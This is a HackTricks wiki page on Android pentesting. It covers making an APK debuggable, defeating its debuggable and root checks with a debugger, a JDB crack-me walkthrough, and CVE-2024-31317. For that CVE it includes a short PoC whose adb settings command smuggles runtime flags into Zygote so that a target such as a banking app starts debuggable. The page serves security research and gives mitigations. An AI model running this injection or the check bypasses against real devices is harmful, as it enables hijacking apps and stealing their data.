exploiting-a-debuggeable-applciation.md (9700B)
1 --- 2 title: "Exploiting a Debuggable Application" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Exploiting a Debuggable Application 14 15 ## Bypassing Root and Debuggable Checks 16 17 This section of the post is a summary from the post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)<sup>[[1]](#references)</sup> 18 19 ## Steps to Make an Android App Debuggable and Bypass Checks 20 21 ### **Making the App Debuggable** 22 23 Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0<sup>[[1]](#references)</sup> 24 25 1. **Decompile the APK:** 26 27 - Utilize the APK-GUI tool for decompiling the APK. 28 - In the _android-manifest_ file, insert `android:debuggable="true"` to enable debugging mode. 29 - Recompile, sign, and zipalign the modified application. 30 31 2. **Install the Modified Application:** 32 33 - Use the command: `adb install <application_name>`. 34 35 3. **Retrieve the Package Name:** 36 37 - Execute `adb shell pm list packages -3` to list third-party applications and find the package name. 38 39 4. **Set the App to Await Debugger Connection:** 40 41 - Command: `adb shell am set-debug-app -w <package_name>`. 42 - **Note:** This command must be run each time before starting the application to ensure it waits for the debugger. 43 - For persistence, use `adb shell am set-debug-app -w --persistent <package_name>`. 44 - To remove all flags, use `adb shell am clear-debug-app <package_name>`. 45 46 5. **Prepare for Debugging in Android Studio:** 47 48 - Navigate in Android Studio to _File -> Open Profile or APK_. 49 - Open the recompiled APK. 50 51 6. **Set Breakpoints in Key Java Files:** 52 - Place breakpoints in `MainActivity.java` (specifically in the `onCreate` method), `b.java`, and `ContextWrapper.java`. 53 54 ### **Bypassing Checks** 55 56 The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks. 57 58 For the debuggable check: 59 60 1. **Modify the flag tested by the app:** 61 - In the debugger, locate `this -> mLoadedApk -> mApplicationInfo -> flags`. 62 - `ApplicationInfo.FLAG_DEBUGGABLE` is the `0x2` bit. To make an in-memory self-check observe a non-debuggable app while the debugger remains attached, clear only that bit (`flags & ~0x2`) instead of copying a device-specific decimal value.<sup>[[5]](#references)</sup> 63 64  65 66 These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application's behavior. 67 68 For the decimal value shown in the original walkthrough, clearing bit `0x2` changes `814267974` to `814267972`. Recompute the value from the live flags on your target rather than assuming the remaining bits are identical. 69 70 ## Exploiting a Vulnerability 71 72 A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays "Crack Me". The aim is to alter the message from "Try Again" to "Hacked" at runtime, without modifying the source code.<sup>[[2]](#references)</sup> 73 74 ## **Checking for Vulnerability** 75 76 - The application was decompiled using `apktool` to access the `AndroidManifest.xml` file. 77 - The presence of `android:debuggable="true"` in `AndroidManifest.xml` indicates that the application permits debugger attachment. This expands local attack and analysis capabilities, although it is not by itself remote code execution. 78 - It's worth noting that `apktool` is employed solely to check the debuggable status without altering any code. 79 80 ## **Preparing the Setup** 81 82 - The process involved initiating an emulator, installing the vulnerable application, and using `adb jdwp` to identify Dalvik VM ports that are listening. 83 - The JDWP (Java Debug Wire Protocol) allows debugging of an application running in a VM by exposing a unique port. 84 - Port forwarding was necessary for remote debugging, followed by attaching JDB to the target application. 85 86 ## **Injecting Code at Runtime** 87 88 - The exploitation was carried out by setting breakpoints and controlling the application flow. 89 - Commands like `classes` and `methods <class_name>` were used to uncover the application’s structure. 90 - A breakpoint was set at the `onClick` method, and its execution was controlled. 91 - The `locals`, `next`, and `set` commands were utilized to inspect and modify local variables, particularly changing the "Try Again" message to "Hacked". 92 - The modified code was executed using the `run` command, successfully altering the application’s output in real-time. 93 94 This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context. 95 96 --- 97 98 ## 2024 - Turning Applications into Debuggable Processes (CVE-2024-31317) 99 100 Even if the target APK is _not_ shipped with the `android:debuggable` flag, recent research showed that it is possible to force **arbitrary applications** to start with the `DEBUG_ENABLE_JDWP` runtime flag by abusing the way Zygote parses command-line arguments.<sup>[[3]](#references)[[4]](#references)</sup> 101 102 * **Vulnerability:** Improper validation of `--runtime-flags` supplied through Zygote’s command socket allows an attacker that can reach `system_server` (for example via the privileged `adb` shell which owns the `WRITE_SECURE_SETTINGS` permission) to inject extra parameters. When the crafted command is replayed by `system_server`, the victim app is forked as _debuggable_ and with a JDWP thread listening. The issue is tracked as **CVE-2024-31317** and was fixed in the June 2024 Android Security Bulletin. 103 * **Impact:** With the required privileged shell/`WRITE_SECURE_SETTINGS` capability, the researcher can start a target process with JDWP enabled, inspect its memory and execution, and act in that app's context. Targets can include privileged apps such as `com.android.settings`, but concrete effects such as token theft, MDM bypass, or further privilege escalation depend on the selected process and its reachable functionality.<sup>[[3]](#references)[[4]](#references)</sup> 104 * **Affected versions:** Android 9 through 14 prior to the June 2024 patch level. 105 106 ## Quick PoC 107 108 ```bash 109 # Requires: adb shell (device must be <2024-06-01 patch-level) 110 # 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag 111 adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" 112 113 # 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP 114 adb shell monkey -p com.victim.bank 1 115 116 # 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio 117 adb jdwp # obtain the PID 118 adb forward tcp:8700 jdwp:<pid> 119 jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 120 ``` 121 122 > The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible **without modifying the APK or the device boot image**. 123 124 ## Detection & Mitigation 125 126 * Patch to **2024-06-01** (or later) security level – Google hardened `ZygoteCommandBuffer` so that subsequent commands cannot be smuggled in this way. 127 * Restrict `WRITE_SECURE_SETTINGS` / `shell` access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps. 128 * On EMM/MDM-managed fleets, enforce `ro.debuggable=0`, disable or tightly control ADB, and prevent untrusted principals from obtaining `WRITE_SECURE_SETTINGS`. `adb disable-verifier` controls APK verification and is not a defense against this Zygote injection. 129 130 --- 131 132 ## References 133 134 - [1] [Bypass Android Applications Debug and Root Detection via debugger](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) 135 - [2] [Android Hacking Security Part 6: Exploiting Debuggable Android Applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) 136 - [3] [Becoming any Android app via Zygote command injection](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) 137 - [4] [The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317](https://blog.flanker017.me/cve-2024-31317/) 138 - [5] [Android `ApplicationInfo.FLAG_DEBUGGABLE` API reference](https://developer.android.com/reference/android/content/pm/ApplicationInfo#FLAG_DEBUGGABLE)